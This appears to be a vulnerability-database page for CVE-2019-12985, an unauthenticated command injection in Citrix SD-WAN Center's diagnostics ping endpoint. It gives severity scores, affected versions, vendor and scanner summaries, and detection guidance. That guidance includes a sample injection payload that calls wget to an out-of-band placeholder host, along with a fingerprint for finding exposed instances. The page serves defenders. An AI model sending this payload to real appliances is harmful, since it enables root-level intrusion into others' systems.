CVE-2019-12985
published 2019-07-16CVE-2019-12985: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 1 of 6).
PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
42.55%
98.5th percentile
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 1 of 6).
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| citrix | citrix_sd-wan | — | — |
| citrix | netscaler_adc_gateway | — | — |
| citrix | netscaler_sd-wan | >= 10.0 < 10.0.8 | 10.0.8 |
| citrix | sd-wan | — | — |
| citrix | sd-wan | >= 10.2 < 10.2.3 | 10.2.3 |
| citrix | xenserver | — | — |
Detection & IOCsextracted from sources · hover to see the quote
urlPOST /Collector/diagnostics/ping
path/Collector/diagnostics/ping
commandipAddress=%60/bin/wget+http://{{interactsh-url}}%60
- →Detect exploitation attempts by monitoring POST requests to /Collector/diagnostics/ping containing shell metacharacters (backtick, semicolon, pipe) in the ipAddress, pingCount, or packetSize parameters.
- →Traffic is routed through the Collector controller endpoint; monitor for unexpected HTTP POST requests to /Collector/diagnostics/ping from unauthenticated or external sources.
- →Shodan/FOFA fingerprint for exposed Citrix SD-WAN Center instances: search for HTTP title 'Citrix SD-WAN' to identify attack surface.
- →Confirm exploitation via out-of-band HTTP interaction (OAST): a successful payload causes the target to issue an outbound HTTP request (e.g., via wget) to an attacker-controlled host.
- →Verify target is Citrix SD-WAN Center by checking that the login page body contains the string 'Citrix SD-WAN' before attempting the injection endpoint.
- ·The vulnerability exists in Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8; detections should be scoped to these version ranges. ↗
- ·The injection point is specifically the ping function in DiagnosticsController; other diagnostic functions may not be affected by this specific issue.
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
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GHSA
GHSA-3pcr-6mwc-x3p8: Citrix SD-WAN 10
ghsa_unreviewed·2022-05-24
CVE-2019-12985 [CRITICAL] CWE-78 GHSA-3pcr-6mwc-x3p8: Citrix SD-WAN 10
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 1 of 6).
VulnCheck
Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2019·CVSS 9.8
CVE-2019-12985 [CRITICAL] Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Citrix SD-WAN and NetScaler Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 1 of 6).
Affected: Citrix SD-WAN and NetScaler
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-05&host_type=src&vulnerability=cve-2019-12985; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-14&host_type=src&vulnerability=cve-2019-12985; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability
Citrix
CVE-2019-12985: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 1 of 6).
vendor_citrix·2019-07-16·CVSS 9.8
CVE-2019-12985 [CRITICAL] CWE-78 CVE-2019-12985: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 1 of 6).
CVE-2019-12985: Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 1 of 6).
Citrix
Citrix SD-WAN Multiple Security Updates
vendor_citrix·CVSS 9.8
CVE-2019-12985 [CRITICAL] Citrix SD-WAN Multiple Security Updates
Citrix SD-WAN Multiple Security Updates
of Problem Multiple vulnerabilities have been identified in the management console of the Citrix SD-WAN Center and NetScaler SD-WAN Center. Multiple Vulnerabilities have also been identified on the Citrix SD-WAN Appliance and NetScaler SD-WAN Appliance. Collectively, these vulnerabilities could result in an unauthenticated attacker executing commands as root against the SD-WAN Center management console, or potentially be used to gain root privileges on the SD-WAN appliance. The vulnerabilities have been assigned the following CVE numbers. CVE-2019-12985 – Unauthenticated Command Injection in Citrix SD-WAN Center 10.2.x before 10.2.3 and NetScaler SD-WAN Center 10.0.x before 10.0.8. CVE-2019-12986 – Unauthenticated Command Injection in Citrix SD-WAN
No detection rules found.
Nuclei
Citrix SD-WAN Center - Remote Command Injection
nuclei·CVSS 9.8
CVE-2019-12985 [CRITICAL] Citrix SD-WAN Center - Remote Command Injection
Citrix SD-WAN Center - Remote Command Injection
Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
Template:
id: CVE-2019-12985
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsCo
Tenable
Multiple Vulnerabilities Found in Citrix SD-WAN Center and SD-WAN Appliances
blogs_tenable·2019-07-11
Multiple Vulnerabilities Found in Citrix SD-WAN Center and SD-WAN Appliances
## Cloud Exposure
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## AI Exposure
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## OT/IoT Exposure
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## Identity Exposure
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## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Tenable
Citrix SD-WAN Center Multiple Vulnerabilities
blogs_tenable·2019-07-02
Citrix SD-WAN Center Multiple Vulnerabilities
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
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2019-07-16
Published
Exploited in the wild